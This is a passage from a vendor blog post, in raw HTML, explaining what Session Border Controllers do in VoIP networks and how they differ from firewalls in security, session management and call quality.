400;\">An SBC or Session Border Controller is a specialized network device, usually either software or hardware, predominantly used in VoIP or Voice over IP networks to manage and safeguard voice and video calls. SBCs are typically positioned at the edge of a network so that they can monitor, control, and secure the traffic that moves between internal and external networks.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Role_of_SBC_in_IP_Communications\"><\/span>Role of SBC in IP Communications<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">IP communications have transformed the way businesses communicate. With the transmission of voice, video, and data over an IP network, this technology has enabled a wide range of services such as VoIP, <\/span><a href=\"https:\/\/www.forbes.com\/councils\/forbescommunicationscouncil\/2023\/02\/23\/how-video-tech-can-bring-us-closer-than-ever\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">video conferencing<\/span><\/a><span style=\"font-weight: 400;\">, instant messaging, unified communications, etc., which businesses can leverage to enjoy more flexible, cost-effective, and feature-rich communication services.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Let\u2019s get straight to it &#8211;\u00a0 why is a Session Border Controller essential for your VoIP or IP communications network? Before I answer this question, let\u2019s first look at some shocking yet valuable statistics:\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">64% of customers expect companies to interact with them without delay during phone calls. (Salesforce)<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Over 60% of customers switch companies due to poor phone-based customer service experiences. (Accenture)<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Network downtime costs businesses an average of $5,600 per minute, equating to over $300,000 per hour. (Gartner)<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">A single fraud event can cost a company between $3,000 and $50,000 but can be much higher. For example, a 2009 attack on an Australian company&#8217;s VoIP PBX resulted in a bill of over $120,000.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">From these figures, it\u2019s easy to envision the serious repercussions businesses face due to poor call quality and network unreliability.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Returning to the question at hand, the answer is quite simple: SBCs contribute to the effectiveness of IP communications in several ways such as providing protection against attacks, performing interoperability, maintain Quality of Service, and offering Network Address Translation (NAT), and Port Address Translation (PAT) services. By deploying an SBC, you can significantly improve the reliability, security, and overall performance of your communication infrastructure.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Do_Session_Border_Controllers_Work\"><\/span>How Do Session Border Controllers Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5422 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/Session-Border-Control-working.jpg\" alt=\"Session Border Control working\" width=\"800\" height=\"420\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/Session-Border-Control-working.jpg 800w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/Session-Border-Control-working-300x158.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/Session-Border-Control-working-768x403.jpg 768w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Before you consider buying or implementing any technology for your business, it is important to understand its functioning.

Well, let me answer this for you in more detail. It is true that firewalls and SBCs offer similar roles, they serve distinct purposes, particularly when it comes to VoIP communications.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5418 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/SBC-Security.jpg\" alt=\"SBC Security\" width=\"687\" height=\"415\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/SBC-Security.jpg 801w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/SBC-Security-300x181.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/11\/SBC-Security-768x464.jpg 768w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Firewalls can provide basic security for VoIP traffic. However, when it comes to addressing the specific challenges of SIP traffic, firewalls are simply not sufficient. On the contrary, SBCs are designed to handle VoIP traffic as they mainly focus on scanning SIP-enabled traffic.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Some key functions performed by SBCs that Firewalls lack are:\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Deep Packet Inspection (DPI):<\/b><span style=\"font-weight: 400;\"> SBCs perform DPI to inspect the content of VoIP traffic packets, thus identifying and blocking malicious packets. Firewalls are not designed to perform such detailed analysis.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Session Management: <\/b><span style=\"font-weight: 400;\">From initiation to termination, SBCs are involved in the management of the entire lifecycle of a VoIP call. They enforce various policies to efficiently perform session management. On the other hand, firewalls lack such a level of granular control when it comes to VoIP sessions.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Security Features:<\/b><span style=\"font-weight: 400;\"> SBCs come with a wide range of security features including authentication and authorization, encryption, DoS and DDoS protection, call screening and filtering, etc. On the contrary, firewalls typically offer basic security features and do not offer the same level of protection as SBCs.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Quality of Service:<\/b><span> SBCs ensure optimum call quality at all times even during congested network conditions by enforcing QoS. In contrast, firewalls cannot prioritize certain types of traffic.\u00a0<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Overall, SBCs enforce real-time security methods, and procedures to provide protection, management and quality optimization for VoIP traffic.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Seamless_Connectivity\"><\/span>Seamless Connectivity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The modern-day networks are complex, comprising diverse devices like phones, printers, and computers. All these are connected to a single business network making management of these devices a critical challenge.
